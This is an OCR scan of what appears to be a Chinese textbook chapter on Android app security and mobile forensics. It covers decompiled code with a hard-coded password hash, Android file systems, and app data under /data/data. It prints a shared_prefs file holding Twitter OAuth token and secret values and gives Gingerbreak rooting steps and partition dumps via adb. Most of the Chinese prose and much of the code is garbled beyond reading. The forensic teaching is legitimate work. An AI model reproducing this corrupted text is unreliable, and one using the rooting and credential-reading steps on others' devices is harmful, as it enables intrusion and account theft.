B 7.18 #F& Eclipse JF X ¥ 3& F ) proguard. cfg ({4

l » :-—u—n SecuraPassActivityclass Q|

v clobllesamples securepass Y 7
’ e = i’“"" clobile.somples. securepass;

v Or #import androtd opp Activity;
@ wmtr !
[ » @ dravaie ipmu class SecurePassActivity extands Activity
» G i
l » @ layout l public void onCreote(Bundle savedinstanceState)
| » @ string | L
v (@) SecurePassactivity 24 | super.onCreate(savedinstanceStote);

25| vetContentView(2130963340);
28| Text¥iew tvichel = (TextView)FindViewByld(2131034112);
® getHashiString) - bytel] 29 Button btnSubmit = (Button)findViswllyld(2131834114);
i © onCreate(Bundie) : void 30 EditText etPoss = (EditText)findVienflyld(2131834113);
| 31 TextView tviMsg = (TextView)findVienByld(2131034115);
{ 11 benSubmit  setOnClickListener(new View.OnClicklistener(etPass, btnSubsit,

{
‘ | public vold enClick(View ) {

i6 | String sHosh « “"abcdel”;
37 String sRand = “123456";
38 CharSequence « *Incorrect Passmord! Please try ogain®;
40| Resources res = & Py i this. g es();
41 String sPassword = thris.volSetPass .getTaxt(). toString():
| try
T £ Bnbal? bherh - CarymaDnre bt il bo il 0 mmbbinehl s Dae e d ¢

7.19 @it JD- GUI £ KL AABIR A A B A

%t F Java 5= K1, 5iF ProGuard T EA 2 WA ISIRIE A o B, &
A HAbERE R, BELE A ProGuard T B
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113);
€ ) plac 11535
TocolButton. setnCl{cktistenernew g(this. localfditText, Localiutton, poromtendle, IscalTextView));

plic finel byrel] $(Sering parmsitring)
{
1| Messogrligest locolMessopeligest « mill,
SAning str = getResoorces() getStringl I MSEA577);
try
{
TeculMeasagelignst « MexsageDignat. pezlmstancel *SHA-256°);

I

coteh (NoSuchdlgor \on Lgari on)
{

TocaiNeSucna Lgor thakxcention. printStockTrazel);

]

locolMessageDi gest. reset():

Local 1. updote{str,

Fotien TnraTisasmnetlimest Alanch/maroeth i ng aetvtaed TR A7)

F7.20 @i JD-GUI E£F S SR B

7.6.2 PREZESImALIE

AR, AR P B RS , AT LA SR M F0 50408 b 3 ACFE AR 55 AR o S8 . 81l
X T AR LA DA IR 55 S BRI A9 R4 AR A i R ) BRI RRE (A0, twitter 55 ) Sk
B, REEF EHEHE A RA R AR 55 SR m AT . — B R AE 5L
1, I ERP S 6 EAREE AR, R L RE K EE AR 5585 i 78 B 419
SOFRS R RE, RIS 2 () TR AR T 4 N R AR AR R B i e S
(apk 3CfF) , N FFRF R Z BB LI A B U A SPGB R 2% 5 A A 4T
TEAE IR 55 45 i 56 B o

7.6.3 EREINSERAERE

BS pR A 5 P AR RS . T E, XF—NEHR KA R, A HERR X
FIME TN SC IR AT RE . (R, WRAERG BRE AR, oAb THT
nEfERE S, BABURMSAREMET LI (BRIEBUN PLAL R A H 38 K A9 86
PEATIESR) , SHA-2 RFIE gkt R T B ABRTTREREEE N B Bk .

108 2t fe P AR 0B T LA AR SR @ 9 hash (. FEMNEEH AR, Eh(8 fh BEL H 4RO
(bit) #HAL, —MAER hash BRELHIETAZ — (X2 —FPIRIEAN ), hash 5§

© T hash [ &R, DRESFEEZDRREEAAEME oM. WRFNMABN
hash BRECHOME—HE, MIFRXFA> R —REE (Collision) . FERETEREA, FFEE— M H PR
FEANHAB, PrUAMMRA HoRE, —FEE
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By HAbd A DR N, a0 PIN, BHASEN O4%, XS R kg asE
EhNEME, HNEEE LR aasE), B R R i e B A, T R
— X RS & A BB R A, TSI A% S hash (A9 FAE,
K HEXT A IR RS AT hash {6, [FREfRE EA S . BPRMIREHBEASC, ER-R—FEL
25 [l st (6] g i (6] 45 25 (8] 47 Hh G 017, 9 an, 4% K& nT 4k FVE B 00 19 = A5 4 1
hash (2 ATITE K, FREFHEEE. B FIHEAEESNZRFAEREREX,
BT AR &8 1 5k 19 hash {BK 5 FH K B FFMEZ A, B2, F P EBR SR,
AT Ed g E, REFAICEA) hash {H, BRISEBNARFAS, Mk
1K 25 OB i P 75 T L (]

WAk, AP e AL hash AbPREUBECHE o ot 2ok B0HE A= B hash {8 7
A hash RO hash B, kB . WRXFREITHE hash HEREEB £,
B2 B hash (G AH S B9 MO, & LAR T AT 2 i acaty, AT B 1k 2o &
& H B 4B hash 1,

7.6.4 EFRIMEFHHRER

EHERERURE RO E (LA ) A b SO 20 0 & Fh SR [R A
BE, BRUIEATTHFRAE (BN, AT values. xml X, SD K EEER
ARFATRBHM ARG L) 776K hash (6, A48 ST H BY LR
5y iR IR B X L BURAR B, o Android RGEHRAL T —FAR b 14 75 2K BR i K 1)
A B R B B BT A ) 3 A, AR PR s P A eV (R i A . K
WIEBLT, RABRARMARF B & UID ) H AR 7 88 P A4 e Vi (7 U= & F % UID
AR -

BRAS AR BURE B RO AL B T LUR B (40 SQLite) s{ZHOCMF (1 prefer-
ence) , TEXLEHTT, AR A REXS HAT A,

7.6.5 MEFEHEAR

A — R, B0HE T W P i S i s R S B IR R,
AR, WHREE A MER A, B ARE. nEsAE AT L
FHRAP I HE, 4 F Android RGEK3E, EEAH FFME R : DAndroid S
TP REAE LN 9 07 AERE B . Bl , P R A (S Bt b B, AFRATE
SQLite3 HOiFE . @ FHRERLINE , BT MR 1E G S ARk A Y o 2 b B 2/ e
%o MTFRGEEEKY, B TFEASRINE, TR TERBUT LA TER
1164 BL A F v S BN 25 TH BE o

7.6.6 45t
Dl (RAESRAE R GeB LA SO AT ) | AR EEAR  (HRAE e LA &
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BEITERIPYIEREE, WSME, HFRIENARFREENE) MUSRE (3
IR ERE ) AR JT & N 51 AT LA B B LB R 2 i el TR 89
BERME . TE Google Wallet i 271 Skype (Rl , MFEFEARMAGE
5 (o PRS2 B TR R R RN B R, T B4 Y 01 %2 4 Tl 1 () S T A B35 Ak

TA Ry 45

AREWIS T —MATEEAEA, B L7 IR RIC4 M EFHIC S Android [ F
P, RIGERIEE RS RAGIR AT “SecureApp”, {78 T Android i R 2
ILRMEBFICHEOLRE. AENRB T LA BN L REE, By kN R fmE T
2, PARedsiZb i n) T2 AT GEXE A0 15 Bl ER M A, & N HiEUE A FF R —3K
Android i TR (80E A< 45 /9 B % www. androidinsecurity. com F#HAE&E RE 1Y
Android pFFEFF “SecureApp” ), FIEAFS| RIS FIEIA
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AT B 2R BB EBUEMB B BUESOR, 5173235 T # Android
XERGE, B, URERSHES. AEDENFUMMXT SD REFTRT, MUK
Android RGHFA BIBUER A . BIFHREL — B, MAENFBENTREHT
{H#N

8.1 HEik

VE B FBUER AR M43, BHREBUERA FEREEERERAGT, A
ik % FRE IR SRS 5O,

EANTES 1 FHHE, WA BINIRFHIIREIEH MR A, 7T AR AL A FhiE
5. %5, URHMIES ., £ E6ediE L, BESHFEESMERNDANE
B, AFEKEANEE. B, HEZH., idHEA, SMS{5E., MMS (58, & -FHE
. WA F e, GPS A BEER . HBAZE . £REE. B, 5%, IRTF
NE—BBHNEE, FETRKASERAEFENFWIEY, F2ETELERERN
M BT i A, REAMES RS B HEA, M % shi& hik
WARKER ., RBFFAERNA, RO RELH MBS LIRBER,
UL R FEEEIGER 0T o 2 FAEBEBGER &M T, Anfi iE # i SCiEF8 )
% & WBGE, AR TABTHEHTEE,

1E Android %% FEUE, BEEMEX Android RS MER, R E T E&ITIE
T Android REEMIARLEHITNL MR, AZH#E— 1118 Android ST REEHILNT
AEEF. SO, A, UESHERS, 8 HE TR, EmEmrsE, U
PR R BB e R A b 25, AREMSSCPRRECE AR S . $RAER L
I AT FF/ R Ge R e B S ek SQLite B U MTER, ZESCHFRSE LA,

8.2 Android & ZE%

B AT Android 134 |- 104 FEESR &, /M4 Android FISCHERZE, A
REH B R, 5ol B TikE T W3R Android SCHF RGUH X HA AR B .

J A5 T

© BEhiZ&EBAEE, S%4E3EF bup: //en. wikipedia. org/ wiki/Mobile_device_forensics,
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HLAY Android ﬁﬁ'ﬂﬁﬁﬁmﬂﬂ@ 8.1 ffr~.

10=-1000 0 @

M, gids 1015, Frask

&K 8.1 Android %% FAYEER S

8.2.1 #HEHF S

BHYERE—F Android 45 ERYE R4 X, DI SHAMEHK M HREH,
& 8.2 fiin, FiAFHHAT “adb shell mount” #y4, B/RiE& EEHBRXHRS.
SR, B AFFHAT “adb shell cat/proc/filesystems” 54, BREBRZTFHXHZRE
GreRIFIZR, WA 8.3 fi/n, 8.1 45t T Android 1% & b A &FP 3 X158 R H .

GIEmmL SOa-mac i~ A 0
List of devices attached

393402D3IZAGINEC device

anmmisra-mac:~ Ammels oddb sheil

S

/

$1s -1

drxrwxir-x radio rodio

- e S root root

Arvx -~ . cache
root root
root root

drwxrwxr-x root system

1rwxrwxrwx root

Lrsiewxrwx root

Trmxrmcrwx root

-r-

--r-
drwar-xr-x ™
ArWxr=xr-x ™
AWK =X
dre-Xr-xr-x roo
WK =X~

L ol TR
WX X

WX -
WP e
drourwe -~ x
drwx-
ArwWxXr=xr-«x roc

s

8.2 Android £ 30 H S 45#©

© ZE LSRR adb THEEHR S5 P TAERIRTHERR) Android WA RS H a5, —iFHE
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t /proc/filesystems
sysfs
rootfs
bdev
proc
cgroup

tmpfs
binfmt_misc

debugfs

sockfs
pipefs

8.3 Android % & C R G
8.1 Android EE&EBHERNIUHRZRE N

HE & A P B
4 HigR 2%, B ERM X REERZITHR, BSEENES
5 B, WM shit Br i 695 | 580 B MA&Fh SR eSS
WERG IR "THATIE . FiR. RGN AR, UREFEE %, %
/system HR{ECHRS AR R, 7% B R0 F ¥4 ban, lib, ete, bin,
app, media F fonts %¢
ViR A8 A P B SO, B an 0 YE 2R R AE A T BB S, AR RSB E ST RSB
cache
BN EFIRE S, RGP, %I MR AL RT3 S A R
proh &P BN R BE, b s 2R N R R, BRI E
i SO (shared preference) %
/mnt/sdeard ZArXAE [ SD F, HXMRZGARN FAT32, HEA SR
/mnl/secure/ asec fiiF SD R, 2237 SD & b (049 07 FH AR 7 A7 it 28 2t Jon o Ak 18 ) S 4

8.2.2 MHZE%

Android #/E A G AT Linux W%, FEMATLI X FREH XM RS, (/] adb
T HAEMEN S EFFE K shell BFF, U217 8077 2 A AT  cat/proc/
filesystems” 4>, A LIFK1G Android 245 ZHRII SO R G, WA 8.3 fias, XX
1 4535319 nodev 371 A8 52 B 104 iR £ 5% U R G 6Bk, FL R G A
nodev VS B ST R GE . FTBEERE MR, Android RYE L ext2, ext3 Fll extd X
PEFGE, X863 2 G50 4 FATE Linux #R/E R S5, [N, Android LM SCHF viat 3
M Z G, %O Ge5E % o AE 3T Windows HIBRIER % £ MAh, i F Android
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R4 B4R &R, B, Android 45k X #F YAFFSC 1 YAFFS2 ST {4
4 (M44R, EA S YAFFS il YAFFS2 SC{FZ %5, Android R&EFERA
NAND # R ATLL) o BRI RS HEN(E B 3% 8. 2,

8.2 Android ZEGHIEMIHES
X E 4% B B

WEB R B YAFFS 1 YAFFS2 X{F &%, Ef12 %114 % NAND 5
NOR [AfFmig i AP B R 3Uh 2%, SHTFRAREE. K, YAFFS2 2%
YAFFS #1 YAFFS2 | #HMSCERGRA, YAFFS1 SCRFLL 512B {E R 54 page K/NIAFF, T YAFFS2 |
A LASZRFLA 2KB fE R84 page K/NMIIAFE. theiRiR, YAFFS2 AJLiZfRe K& &Y
Nff. EZAXXPHLMRLGENEEFESH http: //www. yaffs. net/

HEH Linux AZERAXECH RS, Blex2, ex3 flextd (FL, F=RHME M
R BIXMERL) o« ex2 MRS 20 42 90 FREHHEL A, FHTMKE Linux A
BB ext SRS PFFAER— L5, ext3 CHFRGE ex2 XHREFHERET H
HINRE, UR—EHAMBFE. extd XHFRGE ext3 XHERGEPH—FHRMT
HIThEE, EIEXHEA MR G FEA LA ERE, 5IA extent B XFFFEA R (B
T ext2, ext3 H{EFEY block mapping FFFGE ), A R—Le A TIEE

viat fRL R AR R T &89 FAT32 X FR S, 7 Linux AT, FAT2 XHFRSEH
SEBRBIFR A viat ICHFRSE . %O R Y EEFHTE Android RGEHY SD Kk

ext2 . ext3 Fl extd

viat

8.2.3 BR&W

B EkRE— T HA Android & H) HREH . 3238 Al LLE Y adb T BFEAHE %
# LR shiy shell 227, PAap2 478975 ViR Android R8BSO RS, tal L
Eclipse k{4f) DDMS T.H (4n& 8.4 frzs) 1iln] Android IR &KX RS, 7EXH
ETETXENFER=1H>, B/system, /sdcard fll/data, BIEIIZH1L, /system H
FHTHMARE R G KN KT, BRERENHABRTF . XRE. FiEX
. ATHATICH, F%. /sdeard H R E— B B|/mnt/sdeard H SR KEERE, 15
5% L) SD K, /data B R TFAHE P EEE. BARE, 8540 HEFE
A—A “/data/app/ < N HRRFAFR > HRE5ZRE, NAHREFH P BUEFERE
HHXEKA “/data/data/ < N ARRFEAFR >" BERF. N TFEHRERN, AP
¥ijilnl/data B3, BNiZHE R 25T Android ZRGHF ATEE, T FAEA shell P
(AP adb T E7EME SR & LIS 3h i shell #2FF, RBEMRTH P shell H P A9

© YAFFS (Yet Another Flash File System) f—4~% 7% NAND Flash FFfif St doiR AR X RS, &
FATF K& B A4 4, FERTE GPL (General Public License) PMYF&ATHY, A] £ R 6 28 3K
BURIRTS, 7€ YAFFS , S/NFEAEBAIK — 4> Page, SUHF PN A ROHE B 77 6 76 [8 & S12B ) Page
. —iRETE
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XHRGVIAR) A X Z B RAT5 AR . A B S A% R B 7/ data H 5%
IR, BT P EUE e 5 HOGER Y “/datas/data/ < R AR P 24
R>" BFET, BrLMRIERA XN HRF A eV In 5 HOCER & X B %, Xt
FHRNARTFEEEIRE LS RIEFEEN . XFaE LS 328 H AR
ksLEl, st E e AREFEA B2/ UID, HH RA A% UID sk RE%H
P ARG RER VIR 5 HARSCER A SC R H %, 8.3 45 T Android R4t L AR 7 Al
AEF Z ViR AL EE A S/ B R R . AEIGTE S A28/ data/data U JE
AIE5H4 o

. B %908 R| Sjﬂvaclim-up.htq!mnd.{ﬂw
Name = 2 o) o8B Size Date Time _Permissions :Inf
s mm T R T’_; @ dan 2012-04-07 2030 drwxrwx—x
i et A e
! 1 @ obs 2012-09-04 1814 drwxr-xr-x
i - e
il e 2010-12-17 09:32 drwaxr-xr-x
: | r@on 2010-12-17 09:32 dewxr-xr-x
' } vt O o7 0932 dmar
e~ S il
{ » (2 media 2010-12-17 09:32 drwxr-xr-x
{ » = modukes 2010-12-17 09:32 drwxr-xr-x
» s 2010-12-17 09:32 drwxr-xr-x
{ { > S usr 2010-12-17 09:32 drwxr-xr-x
i » & vendor 2010-12-17 09:32 drwxr-xr-X
| | » (& xbin 2010-12-17 09'32 drwxr-xr-x
{ i ey
8.4 Android ¥4 H R4 (it Eclipse |- DDMS THE#&F)
#*8.3 Android %% FEEMXH/BR
H 5%/ 3% o #
/cache TR R, M YEAREAE . ThREIR B ek & 19 4%
/sdeard FH T R FHAR AR, 0 AR . RS, B %
/vendor LHFEAGET R (=8, HTC %) FEiscibmE
. | Android Z4t H%, BEEMARGRE M, —HHBF XM, Z%
. SRR, 5%
/system/ ete/ permissions/platform. xml | ¥ E R P ID/#F4 1D B4R [R) 2 4t (i FH A9 AR 42 FR ot A7 e &
/system/ app e & LRGN HEF
/system/ bin I BT HRAT SO, BN Is, mount 45
/system/buid. prop WERA N AAREMER
/data/data FF B 424 1 10 AR Py A7 180OR P 88
/data/app F P 22 0 g F R P
/data/ app- private P 22 R AR RN R — Lo S e i AR )
/mn\/ asec FF A7 236 1E SD b (57 FRRR e O A 26 3014
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8.3 Android [ T2 E1E

AN BN HEF REFANBIER T, £F/data/data THREOHE,
AR ne ik B % N 3RECE RIS B o

8.3.1 FEA

Android & 4t 12 it 2 FpAF A 77 AN 2 F R B B/ RIRERFAEIE.
7% 8. 4 $RAL T & AT 4k £ A0 B 16 0 =
#*8.4 Android N HEFEFEHEARXEN
77 i 7 R w

WRE BB R ERT HIE T, S ERTEMFEREEE, 10 boolean, float, int,
VAR string %5255 7l (il ¥ 48

HESHEE X

TENERAEfE S CAFREFLA BOdE, N7 AR FF RE ELEEH SUIF AP BB e N BR AR A8 L (
PR RS X B9 RSN FEAE RS, N SD %), MU B CHRURB R
NARFRERGENXGNFAE. TEEENOE, MRNVABRFEEEHAREY

Zlil, X ERTE B SR AR, W 57 24 {# i MODE_PRIVATE £ 6 2 3c 4. &M,
tnSR {8 F§ MODE_WORLD_READABLE = MODE_WORLD_WRITABLE 3 6 2 % {4 ,
B Xt HA BT A B9 R FH R P RGE S # AR

preven K EARTF I RN M 5 b . TSN A8 & LA 68 69 ST R A B9 17

FARR R FERCE BARVEALIR , 3 BSOS AR 525 T AR A9 22 27 ) /L i (7
SQLite ¥ FE o B Fr AL BB FE P, RO A IR A PR R 3o 122 SHE T R i 1 P R I F
R 5 i 4 HE B A 7E R 2R R 45 4% |

8.3.2 /data/data

RIE TSN T MR F A A BERAF6E 20, Tkl — e B p i R
F, AHEN1R/ data/data/ B %, %% Seesmic N FHARFF, 20 R 5 0T LA P
BEE I B R E MM MuEKS . K 8.5 A &/data/data HR T K7 H
5%/ data/data/com. seesmic, LR Seesmic W TR KA E R, ZNHBEENE
FFAET =AM databases, lib Ffl shared_prefs, 18 F P 8% shell B 2 Fo ik
VilAli% & L i/ data/data 5%, FERIZEFOVIRAR I RGEHEE (LER
i Ff P system) FEAC. BEE AT ENIR S HEAT root AbFE, RIEEUINIZE F, tha]
LAKG Android SUIFZRSE il B RBRAR SCIF, $ASE FHEBUZ B R SC 4 Hh/ data/ data H 5%
A2

MIXAS SO B S5 AT D, N R AR I AT UK BOHE 7 A £E SQLite (48,
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# cd /dota/data/com.se*
# pwd

/data/data/com, seesmic
#1s -1

drwxrwx--x app_ 49 app.49 2012-89-05 96:24 databases
drwxrwx--x app_49 app_4@ 2012-99-05 96:24 shared_prefs
drwxr-xr-x system system 2012-09-85 86:21 lib

# |

& 8.5 /data/data H 5 PA Seesmic 7 fFHFRF H H 5%

AT FEETEL EMEE S (BD shared preference XML 3Xf4) i, $2 FRMIF—F XLk
X, BERBRBIREEZHHAMNGEE. WK shared_prefs HRH &, HH
“cat” fAEAHPE— XML CHRINE, MH AT LIS SN R o (o ) — Lk
E,.,\ (X5 B LUEEXT T R B AE XML X4+ ) . A 8.6 FTIL, #Ei% XML
XFREE LS FEEXT T, A— %K “req_token_secret” HIEEENT, HBH—
™R “req_token” [IEE{EXT. GnSRN FRFRTEEZE AW, BT EFEX B
SR ERER (EEEEHOENNER) .

¥ cd shared_prefs*

-- opp_40 app_40 1201 2012-09-05 06:24 com.seesmic_preferences.xml
-~ app_40 app.40 126 2012-09-05 06:24 _has_set_defoult_values.xml

7xml version="1,0"' encoding="utf-8' standalone="yes' 7>

<boolean name="_has_set_defoult_values” value="true" />
/magr>

<7xml versions='1.0" encodings'utf-8' standalone='yes' 7>
amap>

<string name="refresh_time">1800</string>

<boolean name="show_avotars” value="true” />

<string names"req token''>SzUUEXUSHEVGKCYKMYL 72hHxyP IbKeQcomQqz8TIKKs</string>
<string name="font_size">14</string>

<boolean nome="first_run” value="false" />

<boolean name="hd_gvatars” value="true" />

<string name="clear_on_install”>vS</string>

boolean name="bkg_updates” values"true" />

boolean name="replies_notif" value="true" />

<string names="photo“>http://twitter.com/</string>
<string nome="vien_user'>profile</string>

«string name="nb_tweets">50</string>

<string name="shorturl“>http://api.bit.ly/</string>
cboolean name="remember_pos” value="true” />

boolean name="autoscroll_messages” value="true" />
cstring nome="req._token_secret”s>Tgv3wAxuINwNIwzOgIUVPE1ZW3HVKOUFAWWSGY4 jtl4</string>
string name="photo_guality”>1024</string>

boolean name="led_key" volue="true" />

string nomes"guote_style >RT</string>

boolean name="vibrote” value="true" />

<boolean name="dm_notif" value="true” />

boolean name="preview_pics” value="true" />

cboolean name="bkg notifications” value="true" />

<string names="video">http://yfrog. com/</string>
/map>
|

P 8.6 shared_prefs SC{4F3e P E— XML ST N 2

JE 8.5 hik il LI EF|, 7E/data/data/com. seesmic [ 57 N i A & — A $HE FE
e . ATFFZ ST LA B — A4 K witter. db B%CHE FESC0F, SRR A& A
P — twitter T, 3 FRFERFE — F 27 BRI twitter. db Bdfi BESCHEHT
B L% T % twitter IS (915 .. AT LAl SQLite3 Ay 447 L E R #EATX I T
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YE. BEEEFECHFAAINE 8.7 fras, IAPAILA T 28R ErS . Re,
AT LAGE S A AR R R R, IREUE R

W~ Gpp_40
ired twitter.dd

 SOL statements

ssmord TEXT, fullnome TEXT ovator url TEXT moin INTEGER caded (ndex INTEGER, rest _cpi TEXT
INTEGER, type INTEGER, Ul

10 INTEGER,url TEXT, INTEGER );
TABLE autnors (10 INTEGER PRIMARY XEY, TEXT, nome TEXT avatar_url TEXT protes INTEGER
TABLE om (_1d INTEGER PRIMARY KEY my an id INTEGER ocoount _id INTEGER, sender, TEC oy ent_id INTEGER messoge TEXT uris TEXT oms
i | TEXT cotegory TEXT);
ount_i1a TEXT upoote ig TEXT,feed type INTEGER,owner_ia TENT, UNIQUE (occount_id, update id
ABLE Facebnok_frie PRIMARY KEY olcount_io TEXT  nome TEXT checked INTEGER, type INTEGER, UNIQUE (_ig, ocoount id)),
1d INTEGER PRIMARY KEY user_ia TEXT ,occount id TEXT website TEXT, founded TEXT, compony _overviem TEXT mission
fon TEXT, cring TERT, directed by TEXT plot_outiine TEXY release _gate TEXT,genre TEXT, stwdio TEXT,oio TEXT
UNIQUE (user id, acoount _taj)l;
a INTEGER PRIMARY KEY,occount_id TEXT,user_id TEXT,relationship_type INTEGER,ommer_La TEXT,soved INTEGER, UNIQUE
ta INTEGER PRIMARY KEY user id VEKT ,occount id TEXT atout TEXT blrthoay TEXT mork VEXT ,educotion TEXT email TEXF
TEXT,music (EAT, DOORs TEAT,movies TEXT,lost_updated INTEGER, UMIQUE (user_id, account_id));
1a INTEGER PRIMARY KEY my_ updote_id TEXT,occount_id TEXT,from_id TEXT,to.user TEXT,messoge TEXT,likes_count INTEGH
TEXT, Link_caption TEXT Link_description TEXT,sourde url TUXT via TEXT,crected oote INTEGER, type INTEGER, privacy TEXT, UNIQ
PRIMARY KEY info_lt 3 INTEGER info_stotus_id INTEGER, UMIQUE (info_l Ad, . Stotus_1d));
INTEGER PRIMARY REY, account 10 INTEGER List td INTEGER, List_full _name TEXT,list _description TEXT crector_id INTEGER, LisS

GER, memDer_count INTEGER, 1s_followtd INTEGER, UNIQUE (octount_ ad, tist_\a, iist_type, omner_id
LE mute (10 INTEGER PRIMARY KEY,mute title TEXT mute description TEXT mute pic url TEXT mute_type INTEGER |, UNIQUE (aute_title mute t
LE
NTEGER, from_user_ig 1)
scarches (_1d INTEGER PRIMARY KEY.c

§
TABLE timelines (Lid INTEGER PRIMARY KEY ocoount id INTEGER, tweet Ad INTEGER, 1 d INTEGER, UNIQUE (account_id, twest
(.1d INTEGEN PRIMARY KEY nome TE Guery TeX

10 INTEGER PRIMARY KEY my_tweet_id INTEGER occount_1a INTEGER senver id INTEGER messoge ource TEXT, in_reply_to_status
,latitude REAL W e REAL , retwected by va INT) K, retwreted iy sCreen_name X1, et inal_ INTEGER,

id INTEGER ARY ALY, account_{@ INTEGER user_\o INTEGER Triendsnip INTEGER,omoer TEGER  userlist_soved INTEGER,
users (_id INTEGER PRIMARY KEY, my user INTEGER ,ocopunit_1a INTEGER, twest s _count INTEGER, fovorit ount' INTEGER, Friends_count 1)
v_location TEXT, pr & _de v TE La_friond INTEGER, 15 10 lower INT R, is_blocked INTEGER verified INTEGER, UNIJUE (account
outnor_tax ON o

ertists (friesasnip);
o listoid);
Timel idx ON timelines (timeline);
tweet. 1d_tde ON seorchresults (m weet _\a),
Test 1 ) 5 twveet.1a);

INUEX type_lax
INDEX user TS Uy user_

8 facebook friendis

gccounts

8.7 SQLite ¥4 PEXC{F A2

8.4 Android iZ & root 4-IE

BIANEBL T, Android 245 R4 PR AR FRAVERMEALIR . L0 0% T L
FRARATHIEESHRMSE (ARAF) %8 Android 22 445 HU 2 {It ity 22 £ 45 il 411
Hil. AR, XURFRAHE AT B7 IERFE M DI RE B Rl Rk A8 . B4, Tethering™

© Tethering, #Hill % AEFHLECFRAERGHEIRE, KEN ENIESZA MR SERANIIME, ©
R &, MFHLRTHREM, fELTLMH A, RETREA N, HitRE&, mEicsk
HLEL PDA, BILLHE Wi-Fi fEL R, sRET FHKMEH, SR USB Z A a3 ke,
K S5FHER. Z/EHEFATFILH 26 803G WG ANER, RELRRHRMN, EEIEKF, &
PAE ERMBTIRE. FEEAEEFUL, LK, REMSRX AN IIRE. —FEE
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R RIIAESE . YT ES T —MRER, EAETFRERIIZ Android %451 root
TR, dEid adb THBFRAHE R Z R shell | SRRFH, B3RP R T shell
FAFPAR, H UID BiA “shell”, shell F§ P 5EFR b Joikviin] — & H 5%, Hodn/data
H%, BEA shell HF&A RBHMAR, Hith, 72% M7 RARBRSE T 2% A P
AFR (o HE 2 root AXFR) , 1 S5 BLX Fp A FREZF i AL Bt R BEAR A root, —fRIF AL
T, BIF R GAER IR AT LAGE A PR BB R R . AR LA RS T 2
HHAZZ A ILELH] Break. apk X, X i#5i#E4T root AHE, #EFR, A5 S
FH P2 35 BL Froyo©2. 2 fRZA<H) Android #4E Z 45 4 root LR .

1) Kiil Android $2{EZR GihiiAs, #%H8 “Settings- > About Phone” JliiF#:fE, Bk
%] “About phone” FM#AFE, UNE 8.8 fian, £ “About phone” #H M |, ER
AL Android RSt MUAFI A IRAE B

2) ifid adb shell %5 Android &4, FFHUAT “ID” M, BTSN “shell”
P &4 (UID =2000 [shell]),

3) ZERHFA#HE Android #:/E &40 A4 Froyo2. 2. 2 JfiZs | Gingerbread@HﬁZIS
17 Honeycomb@hﬁiﬁ, FIf LA F 3 root T E.5 {4 Gingerbreak. apk, #[& 8.9 ff7x,

superuser v3.1.3 (46)
tap o display changelog

elite not Installed
get elite

su binary v3.1.1 (17)
WSI-Sf=X  100Ls00s

tap to check for updates

m outdated binary notification

temp unroot
s p

;ﬁ ota survival

nate: these options are not guaranteed
and will notwork for all devices

[ 8.8 Android 7 8.9 Gingerbreak S FIFE 7 71

4) ¥iE USB EiXTRE.
5) #4744 “adb Install gingerbreak. apk” , 223 Gingerbreak i FF2/F o
6) JA3h Gingerbreak N FHFRFY, %N HTEFH A B2 B P N R o

@) Android Froyo ( Android %#15), Android #:/EF& % 2.2 5% 2. 2. x WA e, —FEE
© Android Gingerbread ( Android /), Android #4F %%t 2. 3. x |77 X v FEE
& Android Honeycomb ( Android #8L) , Android BVERS: 3. x AR E. FEE
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7) BAE, M adb T EiE1d shell 7 FHar 47 REBREIFPIT “su” 4r
4 K 8. 10 o, ZJE, A SEhL root ZbFH , FH P RE S I Y 25 R AL PR 59 SC 14 92
T, flin/data/data H 3%,

e — = = . s

uc\mdmxywmn A e - ade bl
n

\Bluegeneradb shell

hr;il);d)ﬂ(!llp ps \Uf phx)ON p! 34_1<
),1811(adb) , 1015(sdcard _rw) mm _bt_admin),30802(net_bt 179

id
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u
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8.5 4%l{E Android Z4 &%
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1) o FF TR A4 K T 3R mks. yaffs2 2| 3] & P SD K E.

adb push mkfs. yaffs2/mnt/sdcard/tmp
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F) o ff R T A A 48/mnvsdcard/lmp/a &R #Y mkfs. yaffs2 344 5942 FR & ik
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3) BT FHEAY A4S A1 Android IR &R, HE, 1534 RAY data. img 8 1R
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/mnt/sdcard/tmp/mkfs. yaffs2 data. img
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4) fERmwm4 pull ifid adb shell @ﬁf&%@l@JﬁﬁAAﬂ‘]Ifﬁmto
0 AT R R
adb pull/mnt/sdcard/tmp/ data. img ”
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[ wu.chumfre gingebrcal- Laph 20528 KB ~cu-e--z-- 16/8072012 153556 syatem svseem |
g com.gaogle android itreet- Laph B5EIINE ~zu-p--z— 09/05/2042 18:2202 system systein ‘
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Ej 8. 11 {iJ;g Yaﬁey Iﬂéﬂﬁ&%ﬁﬁ 7
8.6 ihiERFAERFEIERE

IENAERTE e 8, N R AT LATE SQLite 348 2 H 776if 45 #4 1k G B0 88
{RAa]—~ 7 FH 2 B 0T DL AE X #E A% =X A 542 “/data/data/ < appname > /databases”
H 3% F A% DB (database, $(HEE) X, BT LISEHK Android % %% root ZbHE,
SR JE 18 SQLite3 447 T B 40 Hrix S 4048 FE SC . B2, MEZ T, % Android
WATIVEREHR, RIGHEM T AR TAEYL L& F TH (40 Yaffey #1 SQLite 3
VERE) SEATAMT, S EANESE, AR BB S I f F SQLite T HL YT M HE
XA N RRELTRANE

1) ZRHL root ALFR, # FHL b f9/data 43 KX il fE LGS (HRfEEESILE
THE) -

2) Mk http: //sqlitebrowser. sourceforge. net/index. html b F I SQthe
A T H.
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3) AN 8. 12 R, {H Yaffey T B 7EBHR ST PIE—4
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A7 T 4 i 2 R B PR SR R B A I
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o com andiald calendat druxt-x--x 137092008 20:50:52 10001 10001 i
i comoem log Arwr-x-—% 13092008 205051 10800 10000 ;
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4) 4N 8. 13 frzn, 1E SQLite Xdfs PR B A% AT IT twitter. db ¥dfE Be S

Flk Eﬁﬁ View Help

annn_yg;m:m IEZ

“"‘ °°'°" T'“?, Schama
‘+rwndroid_metadats Yot
+-users table
+photos Lable
Huser_valuss table
Feuss_Grouns Fable
rsors table
o statuses table
T stalus_groups table
¥emessages table
+-saarch_resuts table
1+ smarth_quarias Labie
i Hiists table
| ~salite_autoindex_usars_| Index
| | sqlite_autoindes_users 2 index
|| sdite_suomdex_statuses_

“sqlite_sutoindex_messages_|
= sqlte_sutoindex_photos_1

CREATE TABLE androd_metadata [locala TEXT) i
CREATE TABLE usars (_Id INTEGER PRIMARY KEY,user_if INT UNISUE NOT N, |
CREATE TABLE phatos (_id INTEGER PRIMARY KEY,url TEXT LINIQUE, mage BLOB) |
CREATE TABLE user_vaues (L INTEGER PRIMARY KEY,nare TEXT,vakue TEVT) | 5
CREATE TABLE user_groups (_ INTEGER FRIMARY KEYtype INT,tag INT,own...
CREATE TABLE cursars {_id INTEGER PRIMARY KEY,kind INT type INT,omnee id... | |
